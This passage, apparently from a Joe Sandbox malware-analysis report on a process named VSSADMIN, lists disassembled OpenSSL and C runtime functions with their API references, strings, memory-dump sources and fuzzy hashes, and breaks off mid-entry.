Uniqueness Score: -1.00%

Function 00007FFD3FBF41DD Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 117networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FFD3FCBA54E
WSAGetLastError.WS2_32 ref: 00007FFD3FCBA558

Strings

o, xrefs: 00007FFD3FCBA67F
..\s\crypto\bio\b_sock2.c, xrefs: 00007FFD3FCBA4DE, 00007FFD3FCBA56E, 00007FFD3FCBA58A, 00007FFD3FCBA5F3, 00007FFD3FCBA60F, 00007FFD3FCBA66B, 00007FFD3FCBA687

Memory Dump Source

Source File: 00000001.00000002.245453028.00007FFD3FBF1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFD3FBF0000, based on PE: true

Associated: 00000001.00000002.245445748.00007FFD3FBF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBFD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC55000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC69000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC79000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC8D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE6A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE9C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF0F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF15000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF17000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF34000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245636932.00007FFD3FF45000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd3fbf0000_VSSADMIN.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: ..\s\crypto\bio\b_sock2.c$o
API String ID: 1729277954-1872632005
Opcode ID: f8faf1672888dd055ca767ddbd6e928684f186272bd270f584dbc43e0a9459f0
Instruction ID: 2049cb3ea675b4e09d3d628cbc6b0bc2dff37a87f4e90fe33d1c4d9a66bbea25
Opcode Fuzzy Hash: f8faf1672888dd055ca767ddbd6e928684f186272bd270f584dbc43e0a9459f0
Instruction Fuzzy Hash: 0951E472B0C60A86F728CF61E4606AD7760FB85B44F440135EB9C07A89CF7EE909EB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD3FBF23D3 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 94libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FFD3FCFDC68
GetProcAddress.KERNEL32 ref: 00007FFD3FCFDC7D
GetProcessWindowStation.USER32 ref: 00007FFD3FCFDCA7
GetUserObjectInformationW.USER32 ref: 00007FFD3FCFDCCF
GetLastError.KERNEL32 ref: 00007FFD3FCFDCDD
GetUserObjectInformationW.USER32 ref: 00007FFD3FCFDD48

Strings

_OPENSSL_isservice, xrefs: 00007FFD3FCFDC73
Service-0x, xrefs: 00007FFD3FCFDD69

Memory Dump Source

Source File: 00000001.00000002.245453028.00007FFD3FBF1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFD3FBF0000, based on PE: true

Associated: 00000001.00000002.245445748.00007FFD3FBF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBFD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC55000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC69000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC79000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC8D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE6A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE9C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF0F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF15000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF17000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF34000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245636932.00007FFD3FF45000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd3fbf0000_VSSADMIN.jbxd

Similarity

API ID: InformationObjectUser$AddressErrorHandleLastModuleProcProcessStationWindow
String ID: Service-0x$_OPENSSL_isservice
API String ID: 1944374717-1672312481
Opcode ID: 79db5ee4ce9dc6ccf9bd915a9b468d2fbd35849815718b4b7a41fc8616343fad
Instruction ID: 8d613fdc3780b9378d4cdf8c6acece3c9c35ccd622a431098a78a8e3a21c2799
Opcode Fuzzy Hash: 79db5ee4ce9dc6ccf9bd915a9b468d2fbd35849815718b4b7a41fc8616343fad
Instruction Fuzzy Hash: 92415262705B8A86EB689F24E8A06AD33A0EF447B4B544735EB7D477E4DF2CE544A300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C77000 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 90processsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF614C77A60: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF614C726FB), ref: 00007FF614C77A9A

SetConsoleCtrlHandler.KERNEL32(00000000,00007FF614C73A50), ref: 00007FF614C7704F
GetStartupInfoW.KERNEL32 ref: 00007FF614C7706E

Part of subcall function 00007FF614C891B4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C891C8

Part of subcall function 00007FF614C86F28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C86F8F

GetCommandLineW.KERNEL32 ref: 00007FF614C7710E
CreateProcessW.KERNEL32 ref: 00007FF614C77150
WaitForSingleObject.KERNEL32 ref: 00007FF614C77164
GetExitCodeProcess.KERNEL32 ref: 00007FF614C77174

Strings

CreateProcessW, xrefs: 00007FF614C77187
Error creating child process!, xrefs: 00007FF614C77180

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
String ID: CreateProcessW$Error creating child process!
API String ID: 2895956056-3524285272
Opcode ID: 70482ae767ba9e09b517fd1531fb7070f55263243fe81ec667caeea18f8722ee
Instruction ID: d17c6e390d7880e1e4280f2270b8cece3af06fd1a86c0da9f8a39eadcb78234b
Opcode Fuzzy Hash: 70482ae767ba9e09b517fd1531fb7070f55263243fe81ec667caeea18f8722ee
Instruction Fuzzy Hash: C7411232A0CB8292DA209B64F4952AAB3B4FB96774F500336E6AD877D5DF7CD0448B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C7DC60 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF614C7DCBD

Part of subcall function 00007FF614C7EBD0: __GetUnwindTryBlock.LIBCMT ref: 00007FF614C7EC13
Part of subcall function 00007FF614C7EBD0: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF614C7EC38

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF614C7DD95
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF614C7DFEA
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF614C7E0F6

Strings

csm, xrefs: 00007FF614C7DCD7
csm, xrefs: 00007FF614C7DD3E
csm, xrefs: 00007FF614C7DDB8

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 532212c89bb1048218e5790bfeb27ca173c8f1a64766d63ee7945c9f393af580
Instruction ID: e6db290d1871e006f48daed5d6a3a2ad39328485cda6319e717c874abdb35841
Opcode Fuzzy Hash: 532212c89bb1048218e5790bfeb27ca173c8f1a64766d63ee7945c9f393af580
Instruction Fuzzy Hash: BCE16F73A0CB4187EB209B65D4802AD77B0FB56BA9F104136EE4D97B55CF38E491C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8DDE8 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,00000000,?,00007FF614C8E182,?,?,0000014C6ACFB978,00007FF614C8A253,?,?,?,00007FF614C8A14A,?,?,?,00007FF614C854A2), ref: 00007FF614C8DF64
GetProcAddress.KERNEL32(?,00000000,?,00007FF614C8E182,?,?,0000014C6ACFB978,00007FF614C8A253,?,?,?,00007FF614C8A14A,?,?,?,00007FF614C854A2), ref: 00007FF614C8DF70

Strings

ext-ms-, xrefs: 00007FF614C8DEC1
api-ms-, xrefs: 00007FF614C8DEAE

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: d43daa0ff16dd51341f533a9afc7daaaef1b639a0d72f502c137a615a6bfef50
Instruction ID: 9faa76ad0f9db54a2a93986ea945017a36405945ec8f955a11fa8faa09d66ba8
Opcode Fuzzy Hash: d43daa0ff16dd51341f533a9afc7daaaef1b639a0d72f502c137a615a6bfef50
Instruction Fuzzy Hash: C941E471B19E1392FA15CB16A8805B522B2BF46FB0F084137DD0EC7798EE3DE846A344

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C77630 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF614C7101D), ref: 00007FF614C776CF
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF614C7101D), ref: 00007FF614C7771F

Strings

Out of memory., xrefs: 00007FF614C77751
WideCharToMultiByte, xrefs: 00007FF614C77768
Failed to get UTF-8 buffer size., xrefs: 00007FF614C77761
win32_utils_to_utf8, xrefs: 00007FF614C77758
Failed to encode wchar_t as UTF-8., xrefs: 00007FF614C77748

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 626452242-27947307
Opcode ID: 48cdb819274e2c7c46086e4e80051458de93d23bd0bf89cf80ce51d91e6527a2
Instruction ID: be9c5c0f96c7cc321c3e6c029572b49928f14f46e004a2b7fa553ec906b9ddcb
Opcode Fuzzy Hash: 48cdb819274e2c7c46086e4e80051458de93d23bd0bf89cf80ce51d91e6527a2
Instruction Fuzzy Hash: 1A416A32A0DF86C2E621DF15E48016AB6B5FB86BA4F584136DA8D87B95EF38E451C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C77B70 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 63COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,00007FF614C736B9), ref: 00007FF614C77BB1

Part of subcall function 00007FF614C72620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF614C77774,?,?,?,?,?,?,?,?,?,?,?,00007FF614C7101D), ref: 00007FF614C72654
Part of subcall function 00007FF614C72620: MessageBoxW.USER32 ref: 00007FF614C72730

WideCharToMultiByte.KERNEL32(?,00007FF614C736B9), ref: 00007FF614C77C25

Strings

Out of memory., xrefs: 00007FF614C77BEB
WideCharToMultiByte, xrefs: 00007FF614C77BC5, 00007FF614C77C36
Failed to get UTF-8 buffer size., xrefs: 00007FF614C77BBE
win32_utils_to_utf8, xrefs: 00007FF614C77BF2
Failed to encode wchar_t as UTF-8., xrefs: 00007FF614C77C2F

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 3723044601-27947307
Opcode ID: 18245a40d80a6abdcbe2c7b8b5705f5c27a25298c5fa8019f4baef1b086b9209
Instruction ID: fe8a6ae26e3ecb7da4d6e6d34c4b00048e45e808c1be3054de304a6fa9a9bd34
Opcode Fuzzy Hash: 18245a40d80a6abdcbe2c7b8b5705f5c27a25298c5fa8019f4baef1b086b9209
Instruction Fuzzy Hash: 28216B31A0DF4796EA109F16E8800797AB1EB9AFA4B584137CA4EC3794EF7DE411C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C89294 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C892D7
_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C896C4
_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C89960

Strings

f, xrefs: 00007FF614C893F9
p, xrefs: 00007FF614C89389
p, xrefs: 00007FF614C89401

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p$p
API String ID: 3215553584-1995029353
Opcode ID: 325dff1c9f2a8cc2ee0691d31cb87a7dd6083bcd652a905222ad4063330fef06
Instruction ID: be00e0ded957f39a9aad41b3018f731060724f15afe17f63d3cda6ad63f9dafa
Opcode Fuzzy Hash: 325dff1c9f2a8cc2ee0691d31cb87a7dd6083bcd652a905222ad4063330fef06
Instruction Fuzzy Hash: 02128461E0C94386FB649A15D1942F976B1FB82F74F884137E68A876C4DF3CE580EB04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD3FBF60D2 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

SwitchToFiber.KERNEL32 ref: 00007FFD3FCB35D4
CreateFiber.KERNEL32 ref: 00007FFD3FCB364C
SwitchToFiber.KERNEL32 ref: 00007FFD3FCB36C8
DeleteFiber.KERNEL32 ref: 00007FFD3FCB37AB

Strings

*, xrefs: 00007FFD3FCB350F
..\s\crypto\async\async.c, xrefs: 00007FFD3FCB34F1, 00007FFD3FCB3508, 00007FFD3FCB3550, 00007FFD3FCB3679, 00007FFD3FCB36E0, 00007FFD3FCB3760, 00007FFD3FCB3796, 00007FFD3FCB37B7, 00007FFD3FCB37E4

Memory Dump Source

Source File: 00000001.00000002.245453028.00007FFD3FBF1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFD3FBF0000, based on PE: true

Associated: 00000001.00000002.245445748.00007FFD3FBF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBFD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC55000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC69000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC79000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC8D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE6A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE9C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF0F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF15000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF17000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF34000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245636932.00007FFD3FF45000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd3fbf0000_VSSADMIN.jbxd

Similarity

API ID: Fiber$Switch$CreateDelete
String ID: *$..\s\crypto\async\async.c
API String ID: 2050058302-1471988776
Opcode ID: c3e675d2ea6c9e8d84eec431eb5387898f63f209a2c3a50f4d01a6750cc88dd1
Instruction ID: 473647d19a1cb60abaa2933463ad81ab0d3a768b69592150b346492ff2e0cca4
Opcode Fuzzy Hash: c3e675d2ea6c9e8d84eec431eb5387898f63f209a2c3a50f4d01a6750cc88dd1
Instruction Fuzzy Hash: A2A19C76B09B0A81EB28DF15E4A06BD73A0EB44B84F044436CB8D47795EFBDE865E300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C77C60 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF614C77CF5
MultiByteToWideChar.KERNEL32 ref: 00007FF614C77D37

Strings

Failed to get wchar_t buffer size., xrefs: 00007FF614C77D76
MultiByteToWideChar, xrefs: 00007FF614C77D7D
win32_utils_from_utf8, xrefs: 00007FF614C77D6D
Out of memory., xrefs: 00007FF614C77D66
Failed to decode wchar_t from UTF-8, xrefs: 00007FF614C77D5D

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
API String ID: 626452242-876015163
Opcode ID: f1753c96322f7a069f158a41c988c25d6713a1fcd3091b317cf7193edec7cc56
Instruction ID: fc7d11dce1dbd0b2b2a54d215174a0690c67da5781ec21c6da92c7c9be470ab7
Opcode Fuzzy Hash: f1753c96322f7a069f158a41c988c25d6713a1fcd3091b317cf7193edec7cc56
Instruction Fuzzy Hash: 29418F32A0DE46C2EA10DF15E48017A66B5FB96FA4F148137DA8D87BA5EF3CE451C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD3FBF2E4B Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 91COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00007FFD3FCFDA52

Strings

~, xrefs: 00007FFD3FCFDB1C
OPENSSL_ia32cap, xrefs: 00007FFD3FCFDA28
~, xrefs: 00007FFD3FCFDA87
~, xrefs: 00007FFD3FCFDA6C
~, xrefs: 00007FFD3FCFDB04

Memory Dump Source

Source File: 00000001.00000002.245453028.00007FFD3FBF1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFD3FBF0000, based on PE: true

Associated: 00000001.00000002.245445748.00007FFD3FBF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBFD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC55000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC69000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC79000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC8D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE6A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE9C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF0F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF15000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF17000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF34000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245636932.00007FFD3FF45000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd3fbf0000_VSSADMIN.jbxd

Similarity

API ID: EnvironmentVariable
String ID: OPENSSL_ia32cap$~$~$~$~
API String ID: 1431749950-1981414212
Opcode ID: cf480c52fdec152708fcec39c4b82c05f8550ca0c57a004c4734a86e6d7d47de
Instruction ID: 09e4fa7a6e1cfb4a179e05aa3f0ce0ebbf304b8081f6cc124100e2901241ff19
Opcode Fuzzy Hash: cf480c52fdec152708fcec39c4b82c05f8550ca0c57a004c4734a86e6d7d47de
Instruction Fuzzy Hash: 50414C26F0D65F85E7189B01A4B027873A0EB44790F884236DF6D47798EF2CE489E740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C7CF18 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

